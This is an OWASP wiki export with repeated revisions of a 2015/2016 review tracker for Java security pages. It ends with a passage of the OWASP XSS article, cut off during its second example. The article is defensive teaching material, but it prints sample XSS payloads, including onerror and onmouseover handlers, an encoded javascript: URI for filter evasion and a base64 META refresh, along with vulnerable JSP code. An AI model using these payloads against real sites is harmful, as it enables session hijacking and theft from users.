(The pages in the "old" category "OWASP Java Project" have to be moved into the category "Java". Work is in progress).

<categorytree mode=pages>OWASP Java Project</categorytree>



[[Category:Technology]]
[[Category:Language]]

OWASP Java Project WIPRO 1 2015

2017-11-10T10:48:11Z

Imifos: Effort not active anymore. Page can be removed.

OWASP Java Project WIPRO 1 2015

2016-06-04T13:29:09Z

Imifos:

<div style="width:100%;border:0,margin:0;overflow: hidden;">[[File:OWASP_Java_Project_Header.png|link=]]</div>
<br>

<center>
<p style="font-size: 1.8em;">Wiki Pages Review Operation - 2015/2016</p>
</center>

<br>

= Main =

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;width:100%" |

91 Pages in category "OWASP Java Pages" have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome.

Shared Google document used to comment and review:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

| valign="top" style="padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Team ==

<br/>

== Meta ==

* Start: 12/2015
* Last Update: 12/2015

<br/>

== Other Resources ==

N/A

<br/>

| valign="top" style="padding-left:25px;min-width:200px;" |

==Classifications==



|}

= Pages List =

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

{| class="wikitable"
! Page
! Status
! Review
! Operations
|-
|[[Bytecode obfuscation]]
|
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation
|
|-
|[[Captchas in Java ]]
|
|Updated and not of interest. Marked for deletion.
|DELETED BY ADMIN
|-
|[[Clickjacking Protection for Java EE]]
|
|Flagged for deletion, reason stated on page.
|DELETED BY ADMIN
|-
|[[Command injection in Java]]
|
|Marked for review.
|
|-
|[[Comparing classes by name ]]
|
|Marked for review
|
|-
|[[Complejidad Y Longitud De Las Contraseñas ]]
|
|
|
|-
|[[Content Security Policy ]]
|
|
|
|-
|[[CORS OriginHeaderScrutiny]]
|
|
|
|-
|[[CORS RequestPreflighScrutiny]]
|
|
|
|-
|[[Cross-site Scripting (XSS) ]]
|
| Looks updated
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.
|-
|[[Declarative Access Control in Java]]
|
|gone
|Deleted by admin
|-
|[[Decompiling Java bytecode]]
|
|
| DELETED
|-
|[[Deserialization of untrusted data]]
|
| Looks legit
| Looks legit
|-
|[[Detect profiling phase into web application]]
|
|
|
|-
|[[Exception handling techniques ]]
|
|
|
|-
|[[Failure to follow guideline/specification ]]
|
|
|
|-
|[[Hacking Java Clients ]]
|
|
|
|-
|[[Hashing Java]]
| UNDER REVIEW
| Updated by Mark Gordon. Thank you!
| No action needed
|-
|[[Hibernate]]
|
|
|
|-
|[[Hibernate-Guidelines ]]
|
|
|
|-
|[[How to add validation logic to HttpServletRequest]]
|
|
|
|-
|[[How to encrypt a properties file ]]
|
|
|
|-
|[[Implementacion De Firmas Digitales en Java]]
|
|
|
|-
|[[Improper Data Validation]]
|
|
|
|-
|[[Improper temp file opening ]]
|
|
|
|-
|[[Information Leakage]]
|
|
|
|-
|[[Insecure Randomness]]
|
|
|
|-
|[[Insecure Transport]]
|
|
|
|-
|[[Insufficient Session-ID Length]]
|
|
|
|-
|[[Invoking untrusted mobile code]]
|
|
|
|-
|[[Inyección De Comandos En Java ]]
|
|Should we keep the 2 spanish pages? A translation is of course a good thing, but we have only 2 pages whose quality we cannot verify.
|
|-
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]
|
|J2EE is completely outdated and only used in old legacy installation. No new projects are based on this environment. Moreover the page does not contain any useful information. Marked for deletion.
|
|-
|[[J2EE third party libraries insecurity]]
|
|See above. Propose to delete the page since it's not referenced by any other wiki page anymore.
| redirected to dependency check
|-
|[[JAAS Timed Login Module ]]
|
|
| Deleted
|-
|[[JAAS Tomcat Login Module]]
|
|
| Deleted
|-
|[[Java Project Article Wishlist ]]
|
|
|
|-
|[[Java Security Frameworks]]
|
|
| Merged into category page
|-
|[[Java Security Resources ]]
|
|
| Merged into category page
|-
|[[Java Server Faces ]]
|
|
|
|-
|[[JSP errorPage]]
|
|
|
|-
|[[JSP JSTL ]]
|
|
|
|-
|[[Leftover Debug Code]]
|
|
|
|-
|[[Log Forging ]]
|
|
|
|-
|[[Logout]]
|
|
|
|-
|[[Member Field Race Condition]]
|
|
|
|-
|[[Missing Error Handling]]
|
|
|
|-
|[[Mobile Java Security ]]
|
|
|
|-
|[[Null Dereference]]
|
|
|
|-
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]
|
|
|
|-
|[[Often Misused: Authentication ]]
|
|
|
|-
|[[Overly-Broad Catch Block]]
|
|
|
|-
|[[Overly-Broad Throws Declaration]]
|
|
|
|-
|[[OWASP CSRFGuard Project/es ]]
|
|
|
|-
|[[OWASP Java Table of Contents]]
|
|
|
|-
|[[Parameter Validation Filter]]
|
|
|
|-
|[[Password length & complexity]]
|
|
|
|-
|[[Password Management: Hardcoded Password]]
|
|
|
|-
|[[Password Management: Weak Cryptography ]]
|
|
|
|-
|[[Password Plaintext Storage ]]
|
|
|
|-
|[[PDF Attack Filter for Java EE ]]
|
|
|
|-
|[[Poor Logging Practice]]
|
|
|
|-
|[[Preventing LDAP Injection in Java]]
|
|
|
|-
|[[Preventing SQL Injection in Java ]]
|
|
|redirected to sqlI cheatsheet
|-
|[[Process Control]]
|
|
|
|-
|[[Protecting code archives with digital signatures]]
|
|
|
|-
|[[Reflection attack in an auth protocol]]
|
|
|
|-
|[[Return Inside Finally Block]]
|
|
|
|-
|[[Securing tomcat]]
|
|
|
|-
|[[Servlet spec - web.xml]]
|
|
|
|-
|[[Session Fixation]]
|
|
|
|-
|[[Session Timeout]]
|
|
|
|-
|[[Signing jar files with jarsigner ]]
|
|
|
|-
|[[State synchronization error]]
|
|
|
|-
|[[Struts]]
|
|
|
|-
|[[Struts Validation in an ActionForm]]
|
|
|
|-
|[[Struts Validation in validator.xml using an ActionForm]]
|
|
|
|-
|[[Struts XSLT Viewer]]
|
|
|
|-
|[[Traducción Español]]
|
|
|(See spanish page above)
|-
|[[Trust Boundary Violation]]
|
|
|
|-
|[[Trustworthy Java]]
|
|
| Delete
|-
|[[Uncaught exception]]
|
|
|
|-
|[[Unchecked Return Value: Missing Check against Null ]]
|
|
|
|-
|[[Unreleased Resource]]
|
|
|
|-
|[[Unsafe JNI]]
|
|
|
|-
|[[Unsafe Mobile Code]]
|
|
|
|-
|[[Unsafe Reflection ]]
|
|
|
|-
|[[Using JCaptcha ]]
|
|
| deleted
|-
|[[Using the Java Cryptographic Extensions]]
|
|
|
|-
|[[Using the Java Secure Socket Extensions]]
|
|
|
|-
|[[XPATH Injection Java ]]
|
|
|
|-
|[[OWASP's_ESAPI_Wiki_for_Java!]]
| Check Project Status
|
| The entire ESAPI For Java project needs a review. In progress on ML.
|}

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

=About=

OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016

<br>

{{Template:Project About
| project_name =OWASP Java Project WIPRO 1 - 2015/2016
| project_description =
| project_license =
| leader_name1 =
| leader_email1 =
| leader_username1 =
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name =
| links_url1 =
| links_name1 =
| links_url2 =
| links_name2 =
}}

__NOTOC__
<headertabs />

<br/>

[[Category:Java]]

OWASP Java Project WIPRO 1 2015

2016-06-04T13:23:45Z

Imifos:

<div style="width:100%;border:0,margin:0;overflow: hidden;">[[File:OWASP_Java_Project_Header.png|link=]]</div>
<br>

<center>
<p style="font-size: 1.8em;">Wiki Pages Review Operation - 2015/2016</p>
</center>

<br>

= Main =

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;width:100%" |

91 Pages in category "OWASP Java Pages" have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome.

Shared Google document used to comment and review:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

| valign="top" style="padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Team ==

<br/>

== Meta ==

* Start: 12/2015
* Last Update: 12/2015

<br/>

== Other Resources ==

N/A

<br/>

| valign="top" style="padding-left:25px;min-width:200px;" |

==Classifications==



|}

= Pages List =

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

{| class="wikitable"
! Page
! Status
! Review
! Operations
|-
|[[Bytecode obfuscation]]
|
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation
|
|-
|[[Captchas in Java ]]
|
|Updated and not of interest. Marked for deletion.
|DELETED BY ADMIN
|-
|[[Clickjacking Protection for Java EE]]
|
|Flagged for deletion, reason stated on page.
|DELETED BY ADMIN
|-
|[[Command injection in Java]]
|
|Marked for review.
|
|-
|[[Comparing classes by name ]]
|
|Marked for review
|
|-
|[[Complejidad Y Longitud De Las Contraseñas ]]
|
|
|
|-
|[[Content Security Policy ]]
|
|
|
|-
|[[CORS OriginHeaderScrutiny]]
|
|
|
|-
|[[CORS RequestPreflighScrutiny]]
|
|
|
|-
|[[Cross-site Scripting (XSS) ]]
|
| Looks updated
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.
|-
|[[Declarative Access Control in Java]]
|
|gone
|Deleted by admin
|-
|[[Decompiling Java bytecode]]
|
|
| DELETED
|-
|[[Deserialization of untrusted data]]
|
| Looks legit
| Looks legit
|-
|[[Detect profiling phase into web application]]
|
|
|
|-
|[[Exception handling techniques ]]
|
|
|
|-
|[[Failure to follow guideline/specification ]]
|
|
|
|-
|[[Hacking Java Clients ]]
|
|
|
|-
|[[Hashing Java]]
| UNDER REVIEW
| Updated by Mark Gordon. Thank you!
| No action needed
|-
|[[Hibernate]]
|
|
|
|-
|[[Hibernate-Guidelines ]]
|
|
|
|-
|[[How to add validation logic to HttpServletRequest]]
|
|
|
|-
|[[How to encrypt a properties file ]]
|
|
|
|-
|[[Implementacion De Firmas Digitales en Java]]
|
|
|
|-
|[[Improper Data Validation]]
|
|
|
|-
|[[Improper temp file opening ]]
|
|
|
|-
|[[Information Leakage]]
|
|
|
|-
|[[Insecure Randomness]]
|
|
|
|-
|[[Insecure Transport]]
|
|
|
|-
|[[Insufficient Session-ID Length]]
|
|
|
|-
|[[Invoking untrusted mobile code]]
|
|
|
|-
|[[Inyección De Comandos En Java ]]
|
|Should we keep the 2 spanish pages? A translation is of course a good thing, but we have only 2 pages whose quality we cannot verify.
|
|-
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]
|
|
|
|-
|[[J2EE third party libraries insecurity]]
|
|
| redirected to dependency check
|-
|[[JAAS Timed Login Module ]]
|
|
| Deleted
|-
|[[JAAS Tomcat Login Module]]
|
|
| Deleted
|-
|[[Java Project Article Wishlist ]]
|
|
|
|-
|[[Java Security Frameworks]]
|
|
| Merged into category page
|-
|[[Java Security Resources ]]
|
|
| Merged into category page
|-
|[[Java Server Faces ]]
|
|
|
|-
|[[JSP errorPage]]
|
|
|
|-
|[[JSP JSTL ]]
|
|
|
|-
|[[Leftover Debug Code]]
|
|
|
|-
|[[Log Forging ]]
|
|
|
|-
|[[Logout]]
|
|
|
|-
|[[Member Field Race Condition]]
|
|
|
|-
|[[Missing Error Handling]]
|
|
|
|-
|[[Mobile Java Security ]]
|
|
|
|-
|[[Null Dereference]]
|
|
|
|-
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]
|
|
|
|-
|[[Often Misused: Authentication ]]
|
|
|
|-
|[[Overly-Broad Catch Block]]
|
|
|
|-
|[[Overly-Broad Throws Declaration]]
|
|
|
|-
|[[OWASP CSRFGuard Project/es ]]
|
|
|
|-
|[[OWASP Java Table of Contents]]
|
|
|
|-
|[[Parameter Validation Filter]]
|
|
|
|-
|[[Password length & complexity]]
|
|
|
|-
|[[Password Management: Hardcoded Password]]
|
|
|
|-
|[[Password Management: Weak Cryptography ]]
|
|
|
|-
|[[Password Plaintext Storage ]]
|
|
|
|-
|[[PDF Attack Filter for Java EE ]]
|
|
|
|-
|[[Poor Logging Practice]]
|
|
|
|-
|[[Preventing LDAP Injection in Java]]
|
|
|
|-
|[[Preventing SQL Injection in Java ]]
|
|
|redirected to sqlI cheatsheet
|-
|[[Process Control]]
|
|
|
|-
|[[Protecting code archives with digital signatures]]
|
|
|
|-
|[[Reflection attack in an auth protocol]]
|
|
|
|-
|[[Return Inside Finally Block]]
|
|
|
|-
|[[Securing tomcat]]
|
|
|
|-
|[[Servlet spec - web.xml]]
|
|
|
|-
|[[Session Fixation]]
|
|
|
|-
|[[Session Timeout]]
|
|
|
|-
|[[Signing jar files with jarsigner ]]
|
|
|
|-
|[[State synchronization error]]
|
|
|
|-
|[[Struts]]
|
|
|
|-
|[[Struts Validation in an ActionForm]]
|
|
|
|-
|[[Struts Validation in validator.xml using an ActionForm]]
|
|
|
|-
|[[Struts XSLT Viewer]]
|
|
|
|-
|[[Traducción Español]]
|
|
|(See spanish page above)
|-
|[[Trust Boundary Violation]]
|
|
|
|-
|[[Trustworthy Java]]
|
|
| Delete
|-
|[[Uncaught exception]]
|
|
|
|-
|[[Unchecked Return Value: Missing Check against Null ]]
|
|
|
|-
|[[Unreleased Resource]]
|
|
|
|-
|[[Unsafe JNI]]
|
|
|
|-
|[[Unsafe Mobile Code]]
|
|
|
|-
|[[Unsafe Reflection ]]
|
|
|
|-
|[[Using JCaptcha ]]
|
|
| deleted
|-
|[[Using the Java Cryptographic Extensions]]
|
|
|
|-
|[[Using the Java Secure Socket Extensions]]
|
|
|
|-
|[[XPATH Injection Java ]]
|
|
|
|-
|[[OWASP's_ESAPI_Wiki_for_Java!]]
| Check Project Status
|
| The entire ESAPI For Java project needs a review. In progress on ML.
|}

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

=About=

OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016

<br>

{{Template:Project About
| project_name =OWASP Java Project WIPRO 1 - 2015/2016
| project_description =
| project_license =
| leader_name1 =
| leader_email1 =
| leader_username1 =
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name =
| links_url1 =
| links_name1 =
| links_url2 =
| links_name2 =
}}

__NOTOC__
<headertabs />

<br/>

[[Category:Java]]

OWASP Java Project WIPRO 1 2015

2016-06-04T13:19:57Z

Imifos: Updated XSS reference

<div style="width:100%;border:0,margin:0;overflow: hidden;">[[File:OWASP_Java_Project_Header.png|link=]]</div>
<br>

<center>
<p style="font-size: 1.8em;">Wiki Pages Review Operation - 2015/2016</p>
</center>

<br>

= Main =

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;width:100%" |

91 Pages in category "OWASP Java Pages" have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome.

Shared Google document used to comment and review:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

| valign="top" style="padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Team ==

<br/>

== Meta ==

* Start: 12/2015
* Last Update: 12/2015

<br/>

== Other Resources ==

N/A

<br/>

| valign="top" style="padding-left:25px;min-width:200px;" |

==Classifications==



|}

= Pages List =

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

{| class="wikitable"
! Page
! Status
! Review
! Operations
|-
|[[Bytecode obfuscation]]
|
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation
|
|-
|[[Captchas in Java ]]
|
|Updated and not of interest. Marked for deletion.
|DELETED BY ADMIN
|-
|[[Clickjacking Protection for Java EE]]
|
|Flagged for deletion, reason stated on page.
|DELETED BY ADMIN
|-
|[[Command injection in Java]]
|
|Marked for review.
|
|-
|[[Comparing classes by name ]]
|
|Marked for review
|
|-
|[[Complejidad Y Longitud De Las Contraseñas ]]
|
|
|
|-
|[[Content Security Policy ]]
|
|
|
|-
|[[CORS OriginHeaderScrutiny]]
|
|
|
|-
|[[CORS RequestPreflighScrutiny]]
|
|
|
|-
|[[Cross-site Scripting (XSS) ]]
|
| Looks updated
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.
|-
|[[Declarative Access Control in Java]]
|
|gone
|Deleted by admin
|-
|[[Decompiling Java bytecode]]
|
|
| DELETED
|-
|[[Deserialization of untrusted data]]
|
| Looks legit
| Looks legit
|-
|[[Detect profiling phase into web application]]
|
|
|
|-
|[[Exception handling techniques ]]
|
|
|
|-
|[[Failure to follow guideline/specification ]]
|
|
|
|-
|[[Hacking Java Clients ]]
|
|
|
|-
|[[Hashing Java]]
| UNDER REVIEW
| Updated by Mark Gordon. Thank you!
| No action needed
|-
|[[Hibernate]]
|
|
|
|-
|[[Hibernate-Guidelines ]]
|
|
|
|-
|[[How to add validation logic to HttpServletRequest]]
|
|
|
|-
|[[How to encrypt a properties file ]]
|
|
|
|-
|[[Implementacion De Firmas Digitales en Java]]
|
|
|
|-
|[[Improper Data Validation]]
|
|
|
|-
|[[Improper temp file opening ]]
|
|
|
|-
|[[Information Leakage]]
|
|
|
|-
|[[Insecure Randomness]]
|
|
|
|-
|[[Insecure Transport]]
|
|
|
|-
|[[Insufficient Session-ID Length]]
|
|
|
|-
|[[Invoking untrusted mobile code]]
|
|
|
|-
|[[Inyección De Comandos En Java ]]
|
|
|
|-
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]
|
|
|
|-
|[[J2EE third party libraries insecurity]]
|
|
| redirected to dependency check
|-
|[[JAAS Timed Login Module ]]
|
|
| Deleted
|-
|[[JAAS Tomcat Login Module]]
|
|
| Deleted
|-
|[[Java Project Article Wishlist ]]
|
|
|
|-
|[[Java Security Frameworks]]
|
|
| Merged into category page
|-
|[[Java Security Resources ]]
|
|
| Merged into category page
|-
|[[Java Server Faces ]]
|
|
|
|-
|[[JSP errorPage]]
|
|
|
|-
|[[JSP JSTL ]]
|
|
|
|-
|[[Leftover Debug Code]]
|
|
|
|-
|[[Log Forging ]]
|
|
|
|-
|[[Logout]]
|
|
|
|-
|[[Member Field Race Condition]]
|
|
|
|-
|[[Missing Error Handling]]
|
|
|
|-
|[[Mobile Java Security ]]
|
|
|
|-
|[[Null Dereference]]
|
|
|
|-
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]
|
|
|
|-
|[[Often Misused: Authentication ]]
|
|
|
|-
|[[Overly-Broad Catch Block]]
|
|
|
|-
|[[Overly-Broad Throws Declaration]]
|
|
|
|-
|[[OWASP CSRFGuard Project/es ]]
|
|
|
|-
|[[OWASP Java Table of Contents]]
|
|
|
|-
|[[Parameter Validation Filter]]
|
|
|
|-
|[[Password length & complexity]]
|
|
|
|-
|[[Password Management: Hardcoded Password]]
|
|
|
|-
|[[Password Management: Weak Cryptography ]]
|
|
|
|-
|[[Password Plaintext Storage ]]
|
|
|
|-
|[[PDF Attack Filter for Java EE ]]
|
|
|
|-
|[[Poor Logging Practice]]
|
|
|
|-
|[[Preventing LDAP Injection in Java]]
|
|
|
|-
|[[Preventing SQL Injection in Java ]]
|
|
|redirected to sqlI cheatsheet
|-
|[[Process Control]]
|
|
|
|-
|[[Protecting code archives with digital signatures]]
|
|
|
|-
|[[Reflection attack in an auth protocol]]
|
|
|
|-
|[[Return Inside Finally Block]]
|
|
|
|-
|[[Securing tomcat]]
|
|
|
|-
|[[Servlet spec - web.xml]]
|
|
|
|-
|[[Session Fixation]]
|
|
|
|-
|[[Session Timeout]]
|
|
|
|-
|[[Signing jar files with jarsigner ]]
|
|
|
|-
|[[State synchronization error]]
|
|
|
|-
|[[Struts]]
|
|
|
|-
|[[Struts Validation in an ActionForm]]
|
|
|
|-
|[[Struts Validation in validator.xml using an ActionForm]]
|
|
|
|-
|[[Struts XSLT Viewer]]
|
|
|
|-
|[[Traducción Español]]
|
|
|
|-
|[[Trust Boundary Violation]]
|
|
|
|-
|[[Trustworthy Java]]
|
|
| Delete
|-
|[[Uncaught exception]]
|
|
|
|-
|[[Unchecked Return Value: Missing Check against Null ]]
|
|
|
|-
|[[Unreleased Resource]]
|
|
|
|-
|[[Unsafe JNI]]
|
|
|
|-
|[[Unsafe Mobile Code]]
|
|
|
|-
|[[Unsafe Reflection ]]
|
|
|
|-
|[[Using JCaptcha ]]
|
|
| deleted
|-
|[[Using the Java Cryptographic Extensions]]
|
|
|
|-
|[[Using the Java Secure Socket Extensions]]
|
|
|
|-
|[[XPATH Injection Java ]]
|
|
|
|-
|[[OWASP's_ESAPI_Wiki_for_Java!]]
| Check Project Status
|
| The entire ESAPI For Java project needs a review. In progress on ML.
|}

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

=About=

OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016

<br>

{{Template:Project About
| project_name =OWASP Java Project WIPRO 1 - 2015/2016
| project_description =
| project_license =
| leader_name1 =
| leader_email1 =
| leader_username1 =
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name =
| links_url1 =
| links_name1 =
| links_url2 =
| links_name2 =
}}

__NOTOC__
<headertabs />

<br/>

[[Category:Java]]

Cross-site Scripting (XSS)

2016-06-04T13:18:46Z

Imifos: Removed the Java association since it's much broarder than Java

{{template: Attack}}<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[Category:Security Focus Area]]
__NOTOC__
==Overview==
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: [[Types of Cross-Site Scripting]].

==Related Security Activities==

===How to Avoid Cross-site scripting Vulnerabilities===

See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]

See the [[DOM based XSS Prevention Cheat Sheet]]

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].

===How to Review Code for Cross-site scripting Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.

===How to Test for Cross-site scripting Vulnerabilities===

See the latest [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to test for the various kinds of XSS vulnerabilities.
* [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]]
* [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]]
* [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]

==Description==

Cross-Site Scripting (XSS) attacks occur when:

# Data enters a Web application through an untrusted source, most frequently a web request.
# The data is included in dynamic content that is sent to a web user without being validated for malicious content.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

===[[#Stored and Reflected XSS Attacks|Stored and Reflected XSS Attacks]]===
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].

====Stored XSS Attacks====
Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

====Reflected XSS Attacks====
Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

===Other Types of XSS Vulnerabilities===

In addition to Stored and Reflected XSS, another type of XSS, [[DOM Based XSS]] was identified by [http://www.webappsec.org/projects/articles/071105.shtml Amit Klein in 2005]. OWASP recommends the XSS categorization as described in the OWASP Article: [[Types of Cross-Site Scripting]], which covers all these XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client XSS.

====XSS Attack Consequences====
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose. For more information on these types of attacks see [[Content_Spoofing]].

===How to Determine If You Are Vulnerable===
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

===How to Protect Yourself===
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].

Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.

===Alternate XSS Syntax===
====XSS using Script in Attributes====

XSS attacks may be conducted without using <script></script> tags.
Other tags will do exactly the same thing, for example:
<pre>
<body onload=alert('test1')>
</pre>
or other attributes like: onmouseover, onerror.

onmouseover
<pre>
<b onmouseover=alert('Wufff!')>click me!</b>
</prE>
onerror
<pre>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
</pre>

====XSS using Script Via Encoded URI Schemes====

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41 (UTF-8) and use it in
IMG tag:
<pre>
<IMG SRC=j&#X41vascript:alert('test2')>
</pre>
There are many different UTF-8 encoding notations what give us even more possibilities.

====XSS using code encoding====

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397
<pre>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
</pre>
These and others examples can be found at the OWASP [[XSS Filter Evasion Cheat Sheet]] which is a true encyclopedia of the alternate XSS syntax attack.



== Examples ==

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.

The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.

===Example 1===

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

<pre>
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
</pre>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

===Example 2===

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<pre>
<%...
Statement stmt = conn.createStatement();
